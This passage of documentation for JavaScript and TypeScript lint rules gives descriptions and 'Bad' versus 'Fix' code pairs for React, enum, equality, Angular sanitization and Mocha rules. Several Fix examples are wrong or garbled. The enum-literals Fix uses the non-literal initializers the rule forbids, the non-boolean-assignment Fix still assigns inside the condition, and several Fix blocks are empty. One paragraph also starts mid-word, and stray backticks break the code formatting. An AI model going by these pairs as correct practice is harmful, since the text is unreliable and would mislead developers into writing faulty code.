          <p>componentWillMount()</p>
        </li>

        <li>
          <p>componentDidMount()</p>
        </li>

        <li>
          <p>componentWillReceiveProps()</p>
        </li>

        <li>
          <p>shouldComponentUpdate()</p>
        </li>

        <li>
          <p>componentWillUpdate()</p>
        </li>

        <li>
          <p>componentDidUpdate()</p>
        </li>

        <li>
          <p>componentWillUnmount()</p>
        </li>

        <li>
          <p>clickHandlers or eventHandlers such as onClickSubmit() or onChangeDescription()</p>
        </li>

        <li>
          <p>getter methods for render such as getSelectReason() or getFooterContent()</p>
        </li>

        <li>
          <p>optional render methods such as renderNavigation() or renderProfilePicture()</p>
        </li>

        <li>
          <p>render()\`</p>
        </li>
      </ol>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      export default class MyApp extends React.PureComponent {

      render() { // Noncompliant
      }
      ...
      componentDidMount() {
      }
      }
      ```

      ```javascript Fix theme={null}
      export default class MyApp extends React.PureComponent {

      componentDidMount() {
      }
      ...
      render() {
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Comma operator should not be used">
    <div class="paragraph">
      <p>The comma operator takes two expressions, executes them from left to right, and returns the result of the second one. The use of this operator is generally detrimental to the readability and reliability of code, and the same effect can be achieved by other means.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      i = a += 2, a + b;  // Noncompliant: What's the value of i ?
      ```

      ```javascript Fix theme={null}
      a += 2;
      i = a + b; // We probably expected to assign the result of the addition to i, although the previous code wasn't doing it.
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unnecessary character escapes should be removed">
    <div class="paragraph">
      <p>The <code>\ (backslash) character indicates that the next character should be treated as a literal character rather than as a special character or string delimiter.
      For instance, it is common to escape single quotes inside a string literal using the single quote delimiter like 'It's a beautiful day'</code>. Escaping is only meaningful for special characters.
      Escaping non-special characters in strings, template literals, and regular expressions doesn’t affect their value.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const regex = /[\[]/;  // Noncompliant: '[' does not need to be escaped when inside a character class '[]'
      const octal = '\8';    // Noncompliant: '8' is not valid octal number
      const hello = 'Hello, world\!';    // Noncompliant: '!' is not a special character
      const path  = `\/${some}\/${dir}`; // Noncompliant: '/' is not a special character
      ```

      ```javascript Fix theme={null}
      const regex = /[[]/;
      const octal = '8';
      const hello = 'Hello, world!';
      const path  = `/${some}/${dir}`;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Public static fields should be read-only">
    <div class="paragraph">
      <p>Public <code>static fields in TypeScript should be declared as readonly</code> to prevent them from being modified after their initial assignment. This is a good practice because it makes the code safer by preventing accidental changes to these fields, which could lead to bugs that are hard to detect.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class MyClass {
      static myField = 42; // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      class MyClass {
      static readonly myField = 42;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="All enum members should be literals">
    <div class="paragraph">
      <p>TypeScript allows all sorts of expressions to initialize enum members. However, as enums create their own scope, using identifiers can lead to unexpected results. The recommendation is thus to use only literal values when defining enum members.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      const hour = 3600; // hour in seconds

      enum DurationInMinutes {
      hour = 60, // hour in minutes
      day = 24 * hour / 60 // Expecting hour in seconds but got hour in minutes
      }
      ```

      ```javascript Fix theme={null}
      const hello = 'Hello';
      enum Foo {
      STRING = hello, // Variable
      OBJECT = { hello }.hello.length, // Object
      TEMPLATE = `${hello}, World`, // Template literal
      SET = new Set([hello, 'world']).size, // Constructor
      NUMBER = hello.length + 1, // Expression
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="const variables should not be reassigned">
    <div class="paragraph">
      <p>Variables declared with \`const cannot be reassigned using the assignment operator.</p>
    </div>

    <div class="paragraph">
      <p>The const declaration creates an immutable reference to a value. This does not mean the value it holds is immutable, but the identifier cannot be reassigned. For example, if the constant is an object, its properties can still be altered. Use Object.freeze() to make an object immutable.</p>
    </div>

    <div class="paragraph">
      <p>You must always specify an initializer in a const declaration as it can not be changed later. Trying to declare a constant without an initializer (const foo;\`) will throw a SyntaxError.</p>
    </div>

    <div class="paragraph">
      <p>Trying to reassign a constant will throw a TypeError. In a non-ES2015 environment, it might simply be ignored.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const pi = 3.14;
      pi = 3.14159; // Noncompliant: TypeError: invalid assignment to const 'pi'
      ```

      ```javascript Fix theme={null}
      let pi = 3.14;
      pi = 3.14159;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Assertions comparing incompatible types should not be made">
    <div class="paragraph">
      <p>Comparing two values of different types with operator <code>=== or !== will always return respectively true and false. The same is true for operators == and != when two objects</code> of unrelated types, i.e. one is not a prototype of the other, are compared.</p>
    </div>

    <div class="paragraph">
      <p>Chai provides assertion functions which use these operators to compare two values. These assertions should not compare values of incompatible types as they would always fail or always succeed.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      const assert = require('chai').assert;
      const expect = require('chai').expect;
      const should = require('chai').should();

      describe("invalid comparisons", function() {

      it("uses chai 'assert'", function() {
          const str = "1";
          const today = new Date();
          const nb = new Number(42);

          // These assertions use non-strict equality. Only unrelated "object" types are considered.
          assert.equal(today, nb);  // Noncompliant. This always fails.
          assert.notEqual(today, nb);  // Noncompliant. This always succeeds.

          // These assertions use strict equality. Unrelated "object" types and primitive types are considered.
          assert.strictEqual(str, 1);  // Noncompliant. This always fails.
          assert.notStrictEqual(str, 1);  // Noncompliant. This always succeeds.

          // Comparing primitive types to objects with == or != is ok
          // even if it is not recommended. Using strict equality is better.
          assert.equal(str, [1]);  // Ok
          assert.notEqual(str, [0]);  // Ok
      });

      it("uses chai 'expect' and 'should'", function() {
          const str = "1";
          // These assertions use strict equality
          expect(str).to.equal(1);  // Noncompliant. This always fails.
          expect(str).to.not.equal(1);  // Noncompliant. This always succeeds.

          str.should.equal(1);  // Noncompliant. This always fails.
          str.should.not.equal(1);  // Noncompliant. This always succeeds.
      });
      });
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Components using props should define their types through propTypes">
    <div class="paragraph">
      <p>If the type of a <code>props</code> property is not defined there is a great chance one will wrongly use the value returned by the property and generate a not expected behavior of the application.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      class Rating extends React.Component {
      render() {
      return ( <div>{this.props.rating}</div> );
      }
      }
      ```

      ```javascript Fix theme={null}
      import PropTypes from 'prop-types';

      class Rating extends React.Component {
      render() {
      return ( <div>{this.props.rating}</div> );
      }
      }

      Rating.propTypes = {
      rating: PropTypes.number.isRequired
      };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="alert(...) should not be used">
    <div class="paragraph">
      <p><code>alert(...) as well as confirm(...) and prompt(...)</code> can be useful for debugging during development, but in production mode this kind of pop-up could expose sensitive information to attackers, and should never be displayed.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if(unexpectedCondition) {
      alert("Unexpected Condition");
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Only while, do, for and switch statements should be labelled">
    <div class="paragraph">
      <p>Labels allow specifying a target statement to jump to using the break or continue statements. It’s possible to assign a label to any statement or block of statements. However, using it with any statement can create a complex control flow path, making the code harder to understand and maintain.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      myLabel: if (i % 2 == 0) { // Noncompliant: Labeling an if statement
      if (i == 12) {
      console.log("12");
      break myLabel;
      }
      console.log("Even number, but not 12");
      }
      ```

      ```javascript Fix theme={null}
      if (i % 2 == 0) { // Compliant
      if (i == 12) {
      console.log("12");
      } else {
      console.log("Even number, but not 12");
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Object spread syntax should be used instead of Object.assign">
    <div class="paragraph">
      <p>When merging objects or copying properties from one object to another, use the object spread syntax instead of Object.assign(). The object spread syntax was introduced in ES2018 and allows shallow-cloning or merging of objects with a more concise and readable syntax.</p>
    </div>

    <div class="paragraph">
      <p>The Object.assign() also allows to mutate an object, which is not possible with the spread syntax, so the rule only applies to cases where the first argument of the Object.assign() is an object literal.</p>
    </div>

    <div class="paragraph">
      <p>The object spread syntax improves clarity when you’re modifying an object, as demonstrated in this example: foo = \{ bar: 42, …​baz }. Additionally, it provides a more concise way to perform a shallow clone. Instead of using foo = Object.assign(\{}, bar), you can simply write foo = \{ …​bar }.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const a = Object.assign({}, foo); // Noncompliant: Use spread syntax to clone or merge objects
      const b = Object.assign({}, foo, bar); // Noncompliant: Use spread syntax to clone or merge objects
      const c = Object.assign({foo: 123}, bar); // Noncompliant: Use spread syntax to clone or merge objects
      const d = Object.assign({}); // Noncompliant: Use spread syntax to clone or merge objects
      ```

      ```javascript Fix theme={null}
      const a = {...foo};
      const b = {...foo, ...bar};
      const c = {foo: 123, ...bar};
      const d = {};
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Optional boolean parameters should have default value">
    <div class="paragraph">
      <p>Having default value for optional boolean parameters makes the logic of function when missing that parameter more evident. When providing a default value is not possible, it is better to split the function into two with a clear responsibility separation.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function countPositiveNumbers(arr: number[], countZero?: boolean) { // Noncompliant, default value for 'countZero' should be defined
      // ...
      }

      function toggleProperty(property: string, value?: boolean) { // Noncompliant, a new function should be defined
      if (value !== undefined) {
      setProperty(property, value);
      } else {
      setProperty(property, calculateProperty());
      }
      }
      ```

      ```javascript Fix theme={null}
      function countPositiveNumbers(arr: number[], countZero = false) {
      // ...
      }

      function toggleProperty(property: string, value: boolean) {
      setProperty(property, value);
      }

      function togglePropertyToCalculatedValue(property: string) {
      setProperty(property, calculateProperty());
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Enum member values should be either all initialized or none">
    <div class="paragraph">
      <p>TypeScript provides enums to allow developers to define a set of named constants under a common type. These enum constants can be assigned values, but it is not mandatory to assign all of them. Those that are not assigned get default values in increasing order starting from zero. As a result, assigning only a subset of enum members can be misleading. For numeric enums in particular, that would create a gap in the numerical order, which could lead to unfortunate bugs. In addition, adding more members or moving around existing ones might change their values.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue whenever an enum assigns a subset of its members, unless the first member only is assigned a numerical literal.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      enum Key {
      Up = 1,
      Down,
      Left,
      Right
      }
      ```

      ```javascript Fix theme={null}
      enum Digit {
      Zero,
      One,
      ...
      Nine = 9
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Classes should not be used as variables">
    <div class="paragraph">
      <p>A class declaration also creates a variable with the same name. It is possible to change the value of that variable but this is most likely an error. Even in the best-case scenario, where this is intentional, this is very confusing and should be avoided.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo { }
      Foo = 0; // Noncompliant
      ```

      ```javascript Fix theme={null}
      let Foo = class { }
      Foo = 0;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Non-boolean assignments should not be used as conditions">
    <div class="paragraph">
      <p>Using the output of a non-boolean assignment as a condition is highly suspicious. Either it was done accidentally, and the assignment operator <code>= was used in place of the equality operator ==</code>, or it was done with the intent to rely on the automatic conversion of the non-boolean value to a boolean, which could be confusing for maintainers.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function process(var a) {
      var BAD_OPS = 3;
      if( a = BAD_OPS) {...}
      }
      ```

      ```javascript Fix theme={null}
      function process(var a) {
      var BAD_OPS = "UNKNOWN";
      if( a = BAD_OPS) {...}
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Optional property declarations should not use both ? and undefined syntax">
    <div class="paragraph">
      <p>In TypeScript, there are two ways to define properties or parameters that are potentially \`undefined:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Union with undefined: Adding | undefined in the property type makes the property <em>required</em>, but can be undefined\`. Use this syntax when you want to be explicit that an object should provide that property, in which case the TypeScript compiler will not allow omitting it.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      interface Person {
      name: string;
      address: string | undefined;
      }

      let John = { name: "John", address: undefined };
      ```

      ```javascript Fix theme={null}
      interface Person {
      name: string;
      address?: string;
      }

      let John = { name: "John" };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React render functions should return a value">
    <div class="paragraph">
      <p>In React, the \`render function is a required method in a class component that defines what will be rendered to the user interface (UI). It is responsible for returning a value, typically a JSX (JavaScript XML) expression, that describes the structure and appearance of the component’s UI.</p>
    </div>

    <div class="paragraph">
      <p>When writing the render function in a component, it is easy to forget to return the JSX content, which means the component will render nothing. Thus having a render function without a single return\` statement is usually a mistake.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const React = require('react');
      class MyComponent extends React.Component {
      render() {
      <div>Contents</div>; // Noncompliant: The render function returns nothing
      }
      }
      ```

      ```javascript Fix theme={null}
      const React = require('react');
      class MyComponent extends React.Component {
      render() {
      return <div>Contents</div>;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Braces and parentheses should be used consistently with arrow functions">
    <div class="paragraph">
      <p>Arrow functions in JavaScript provide a concise syntax to write function expressions. However, the use of braces \{} and parentheses () should be consistent in arrow functions for the following reasons:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Readability: Consistent use of braces and parentheses improves the readability of the code. It makes it easier for other developers to understand the code quickly and reduces the chances of misinterpretation.</p>
        </li>

        <li>
          <p>Predictability: When braces and parentheses are used consistently, it makes the code more predictable. Developers can easily predict the outcome of the function.</p>
        </li>

        <li>
          <p>Avoid Errors: Inconsistent use of braces and parentheses can lead to errors. For example, if braces are omitted for a function that has more than one statement, it will result in a syntax error.</p>
        </li>

        <li>
          <p>Code Maintenance: Consistent use of braces and parentheses makes the code easier to maintain. It’s easier to add or remove code lines without worrying about adjusting braces or parentheses.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when using parentheses and curly braces with an arrow function does not conform to the configured requirements.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const foo = (a) => { /* ... */ };  // Noncompliant; remove the parentheses from the parameter
      const bar = (a, b) => { return 0; };  // Noncompliant; remove the curly braces from the body
      ```

      ```javascript Fix theme={null}
      const foo = a => { /* ... */ };
      const bar = (a, b) => 0;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Enum values should be unique">
    <div class="paragraph">
      <p>TypeScript allows assigning values to enum members. However, it does not enforce uniqueness between the values of such members. As a result, assigning the same value to different members is possible.</p>
    </div>

    <div class="paragraph">
      <p>The rule raises issues on duplicate values because they are misleading and can lead to bugs that are hard to track down.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      enum E {
      X = 0,
      Y = 0,
      }
      ```

      ```javascript Fix theme={null}
      enum E {
      X = 0,
      Y = 1,
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Statements should end with semicolons">
    <div class="paragraph">
      <p>In JavaScript, the semicolon (<code>;</code>) is optional as a statement separator, but omitting semicolons can be confusing, and lead to unexpected results because a semicolon is implicitly inserted at the end of each line.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function fun() {
      return  // Noncompliant. ';' implicitly inserted at end of line
         5   // Noncompliant. ';' implicitly inserted at end of line
      }
      print(fun());  // prints "undefined", not "5"
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Spacing between inline elements should be explicit">
    <div class="paragraph">
      <p>React JSX differs from the HTML standard in the way it handles newline characters and surrounding whitespace. HTML collapses multiple whitespace characters (including newlines) into a single whitespace, but JSX removes such sequences completely, leaving no space between inline elements separated by the line break. This difference in behavior can be confusing and may result in unintended layout, for example, missing whitespace between the link content and the surrounding text.</p>
    </div>

    <div class="paragraph">
      <p>To avoid such issues, you should never rely on newline characters in JSX, and explicitly specify whether you want whitespace between inline elements separated by a line break.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div>{/* Noncompliant: ambiguous spacing */}
      Here is some
      <a>space</a>
      </div>

      <div>{/* Noncompliant: ambiguous spacing */}
      <a>No space</a>
      between these
      </div>
      ```

      ```javascript Fix theme={null}
      <div>
      Here is some{' '}
      <a>space</a>
      </div>

      <div>
      <a>No space</a>{/* 
      */}between these
      </div>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React components should validate prop types">
    <div class="paragraph">
      <p>In JavaScript, props are typically passed as plain objects, which can lead to errors and confusion when working with components that have specific prop requirements. However, it lacks of type safety and clarity when passing props to components in a codebase.</p>
    </div>

    <div class="paragraph">
      <p>By defining types for component props, developers can enforce type safety and provide clear documentation for the expected props of a component. This helps catch potential errors at compile-time. It also improves code maintainability by making it easier to understand how components should be used and what props they accept.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import PropTypes from 'prop-types';

      function Hello({ firstname, lastname }) {
      return <div>Hello {firstname} {lastname}</div>; // Noncompliant: 'lastname' type is missing
      }
      Hello.propTypes = {
      firstname: PropTypes.string.isRequired
      };

      // Using legacy APIs

      class Hello extends React.Component {
      render() {
      return <div>Hello {this.props.firstname} {this.props.lastname}</div>; // Noncompliant: 'lastname' type is missing
      }
      }
      Hello.propTypes = {
      firstname: PropTypes.string.isRequired,
      };
      ```

      ```javascript Fix theme={null}
      import PropTypes from 'prop-types';

      function Hello({ firstname, lastname }) {
      return <div>Hello {firstname} {lastname}</div>;
      }
      Hello.propTypes = {
      firstname: PropTypes.string.isRequired,
      lastname: PropTypes.string.isRequired,
      };

      // Using legacy APIs

      class Hello extends React.Component {
      render() {
      return <div>Hello {this.props.firstname} {this.props.lastname}</div>;
      }
      }
      Hello.propTypes = {
      firstname: PropTypes.string.isRequired,
      lastname: PropTypes.string.isRequired,
      };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React children should not be passed as prop">
    <div class="paragraph">
      <p>When using JSX the component children should be passed between opening and closing tags. Passing children in a children prop may work sometimes, but will lead to errors if children are passed both as nested components and children prop at the same time.</p>
    </div>

    <div class="paragraph">
      <p>When not using JSX, the children should be passed to createElement() method as extra arguments after the props object.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div children='Children' />
      <Foo children={<Bar />} />

      React.createElement("div", { children: 'Children' })
      ```

      ```javascript Fix theme={null}
      <div>Children</div>
      <Foo><Bar /></Foo>

      React.createElement("div", {}, 'Children');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Non-null assertions should not be used misleadingly">
    <div class="paragraph">
      <p>The usage of non-null assertion on the left-hand side of an assignment or comparison can be misread and produce unexpected results when one would expect a negative comparator.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let foo: number | undefined;
      foo = bar! = 12; // Noncompliant; Is that really what's meant?
      if (foo! == bar) { // Noncompliant; Is that really what's meant?
      // ...
      }
      if (foo! === bar) { // Noncompliant; Is that really what's meant?
      // ...
      }
      ```

      ```javascript Fix theme={null}
      let foo: number | undefined;
      foo = bar = 12;
      if (foo == bar) {
      // ...
      }
      if (foo === bar) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Strict equality operators should not be used with dissimilar types">
    <div class="paragraph">
      <p>The strict equality operator in JavaScript is represented by three equal signs (\`===), the strict inequality with (!==). It is used to compare two values for equality, but with an important difference from the regular equality operator (==). The strict equality operator compares both value and type, while the regular equality operator only compares values after performing type coercion if necessary.</p>
    </div>

    <div class="paragraph">
      <p>The problem with using the strict equality operator (===)  with operands of dissimilar types lies in the way JavaScript handles the comparison. When you use ===\` to compare two values of different types, it will always return false since their types are different, regardless of whether the values could be considered equal under certain conditions.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let a = 8;
      let b = "8";

      if (a === b) { // Noncompliant: Always false since 'a' is a number and 'b' a string
      // ...
      }
      ```

      ```javascript Fix theme={null}
      let a = 8;
      let b = "8";

      if (a == b) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Literals should not be used for promise rejection">
    <div class="paragraph">
      <p>The use of literals (primitive values such as strings, numbers, booleans, etc.) for promise rejection is generally discouraged. While it is syntactically valid to provide literals as a rejected promise value, it is considered best practice to use instances of the Error class or its subclasses instead.</p>
    </div>

    <div class="paragraph">
      <p>Using an instance of the Error class allows you to provide more meaningful information about the error. The Error class and its subclasses provide properties such as message and stack that can be used to convey useful details about the error, such as a description of the problem, the context in which it occurred, or a stack trace for debugging.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      new Promise(function(resolve, reject) {
      reject(); // Noncompliant: use Error object to provide rejection reason
      });

      new Promise(function(resolve, reject) {
      reject('Something went wrong'); // Noncompliant: use Error object instead of literal
      });
      ```

      ```javascript Fix theme={null}
      new Promise(function(resolve, reject) {
      reject(new Error('Network timeout'));
      });

      new Promise(function(resolve, reject) {
      reject(new Error('Something went wrong'));
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions with the global flag should be used with caution">
    <div class="paragraph">
      <p>Regular expressions in JavaScript can have a global flag (<code>/g</code>) that enables global searching and matching. While this flag can be useful in certain scenarios, it should be used with caution. When a regular expression has the global flag enabled, it remembers the position of the last match and continues searching for subsequent matches from that position. This behavior can lead to unexpected results if you’re not careful and be a source of bugs that are tricky to debug.</p>
    </div>

    <div class="paragraph">
      <p>The global flag introduces shared state within the regular expression object. This means that if you use the same regular expression object across multiple operations or functions, it maintains its internal state, such as the last match position.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const regex = /\d{4}-\d{2}-\d{2}/g;
      regex.test('2020-08-06');
      regex.test('2019-10-10'); // Noncompliant: the regex will return "false" despite the date being well-formed
      ```

      ```javascript Fix theme={null}
      const regex = /\d{4}-\d{2}-\d{2}/;
      regex.test('2020-08-06');
      regex.test('2019-10-10');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should not be initialized to undefined">
    <div class="paragraph">
      <p>Initializing a variable to undefined is unnecessary and should be avoided. A variable will automatically be set to undefined if you declare it without initialization, so the initialization code is redundant in this case.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var foo = undefined; // Noncompliant: replace with var foo;
      let bar = undefined; // Noncompliant: replace with let foo;
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="strict mode should be used with caution">
    <div class="paragraph">
      <p>Even though it may be a good practice to enforce JavaScript strict mode, doing so could result in unexpected behaviors on browsers that do not support it yet. Using this feature should therefore be done with caution and with full knowledge of the potential consequences on browsers that do not support it.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function strict() {
      'use strict';
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should be used in the blocks where they are declared">
    <div class="paragraph">
      <p>The var statement declares variables that are function-scoped or globally-scoped. var declarations are hoisted, meaning declaring a variable anywhere in the code is equivalent to declaring it at the top of the function or the script.</p>
    </div>

    <div class="paragraph">
      <p>Even if hoisted, it is still recommended to declare the variable inside the block it is used. This improves readability and maintainability because it makes it clear where the variable is being used. The code then becomes easier to understand and follow, especially for other developers who may be working on the same codebase.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function doSomething(a, b) {
      if (a > b) {
      var x = a - b;  // Noncompliant: 'x' is used later outside this block
      }

      if (a > 4) {
      console.log(x);
      }

      for (var i = 0; i < m; i++) { // Noncompliant: both loops use same variable
      }

      for (var i = 0; i < n; i++) {
      }

      return a + b;
      }
      ```

      ```javascript Fix theme={null}
      function doSomething(a, b) {
      var x;

      if (a > b) {
      x = a - b; 
      }

      if (a > 4) {
      console.log(x);
      }

      for (let i = 0; i < m; i++) {
      }

      for (let i = 0; i < n; i++) {
      }


      return a + b;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Import variables should not be reassigned">
    <div class="paragraph">
      <p>Assigning a value to an import variable will cause a runtime error and will raise a compilation error in TypeScript.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      import { exportedObject } from 'module.js';
      exportedObject = 'hello world!';   // Noncompliant: TypeError: Assignment to constant variable.
      ```

      ```javascript Fix theme={null}
      import { exportedObject } from 'module.js';
      exportedObject.newAttribute = 'hello world!'; // exportedObject now contains newAttribute and can be seen from all other modules importing it
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should not be defined inside loops">
    <div class="paragraph">
      <p>Defining functions inside loops in JavaScript can lead to several issues and is generally considered bad practice. The main problems associated with this approach are related to performance, scope, and potential unintended behavior:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When a function is defined inside a loop, the function is re-created on each iteration of the loop. This can cause unnecessary overhead and lead to performance issues, especially if the loop runs repeatedly. Defining the function outside the loop is more efficient so that it is created only once.</p>
        </li>

        <li>
          <p>Functions defined inside loops have access to the loop’s variables and parameters. This can sometimes lead to unintended behavior or bugs due to closures. Closures in JavaScript capture the environment in which they are created, including variables and parameters, and this can cause unexpected results when those variables change during the loop.</p>
        </li>

        <li>
          <p>Code that defines functions inside loops can be harder to read and maintain, especially for other developers who might not expect functions to be redefined within the loop. Keeping functions separate and clearly defined is better, improving code organization and understandability.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (let i = 0; i < 5; i++) {
      function processItem(item) { // Noncompliant: Function 'processItem' inside a for loop
      // Some processing logic
      console.log(item);
      }

      processItem(i);
      }
      ```

      ```javascript Fix theme={null}
      function processItem(item) {
      // Some processing logic
      console.log(item);
      }

      for (let i = 0; i < 5; i++) {
      processItem(i);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling Angular built-in sanitization is security-sensitive">
    <div class="paragraph">
      <p>lnerabilities by treating all values as untrusted by default. Untrusted values are systematically sanitized by the framework before they are inserted into the DOM.</p>
    </div>

    <div class="paragraph">
      <p>Still, developers have the ability to manually mark a value as trusted if they are sure that the value is already sanitized. Accidentally trusting malicious data will introduce an XSS vulnerability in the application and enable a wide range of serious attacks like accessing/modifying sensitive information or impersonating other users.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { Component, OnInit } from '@angular/core';
      import { DomSanitizer } from "@angular/platform-browser";
      import { ActivatedRoute } from '@angular/router';

      @Component({
      template: '<div id="hello"><h1>Hello {{name}}</h1></div>',
      })
      export class HelloComponent implements OnInit {
      name: string;

      constructor(private sanitizer: DomSanitizer, private route: ActivatedRoute) { }

      ngOnInit(): void {
      this.name = this.route.snapshot.queryParams.name;
      }
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Renaming import, export, and destructuring assignments should not be to the same name">
    <div class="paragraph">
      <p>Renaming imports, exports, or destructuring assignments to the same name is redundant and can be safely removed. You may accidentally end up with such code if you do a refactoring and change the local name in several places.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { foo as foo } from "bar";
      export { foo as foo };
      let { foo: foo } = bar;
      ```

      ```javascript Fix theme={null}
      import { foo } from "bar";
      export { foo };
      let { foo } = bar;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="yield expressions should not be used outside generators">
    <div class="paragraph">
      <p>The <code>yield keyword is used in a generator function to return an IteratorResult to the caller. It has no other purpose, and if found outside such a function will raise a ReferenceError</code> because it is then treated as an identifier.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo() { 
      for (var i = 0; i < 5; i++) { 
      yield i * 2; 
      } 
      }
      ```

      ```javascript Fix theme={null}
      function * foo() { 
      for (var i = 0; i < 5; i++) { 
      yield i * 2; 
      } 
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling Mocha timeouts should be explicit">
    <div class="paragraph">
      <p>Setting timeouts with Mocha allows you to control the maximum time a test case or suite can take to execute. However, incorrect usage or excessive timeout values can lead to undesired consequences and impact the effectiveness of your test suite. For example, setting a timeout by calling <code>this.timeout()</code> with a value greater than the <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Maximum_delay_value">maximum delay</a> (2,147,483,647 ms) will cause the timeout to be disabled.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      describe("testing this.timeout", function() {
      it("unexpectedly disables the timeout", function(done) {
      this.timeout(2147483648); // Noncompliant: the timeout is disabled
      });
      });
      ```

      ```javascript Fix theme={null}
      describe("testing this.timeout", function() {
      it("sets the timeout to 1'000 milliseconds", function(done) {
      this.timeout(1000);
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="JSX list components keys should match up between renders">
    <div class="paragraph">
      <p>To optimize the rendering of React list components, a unique identifier (UID) is required in the key attribute for each list item. This UID lets React identify the item throughout its lifetime.  Using generated values like Math.random() or Date.now() is discouraged as their return value will differ between calls, causing the keys to not match up between renders, recreating the DOM. Also, this may cause bugs if values collide.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Blog(props) {
      return (
      <ul>
        {props.posts.map((post) =>
          <li key={Math.random()}> <!-- Noncompliant: Since the 'key' will be different on each render, React will update the DOM unnecessarily -->
            {post.title}
          </li>
        )}
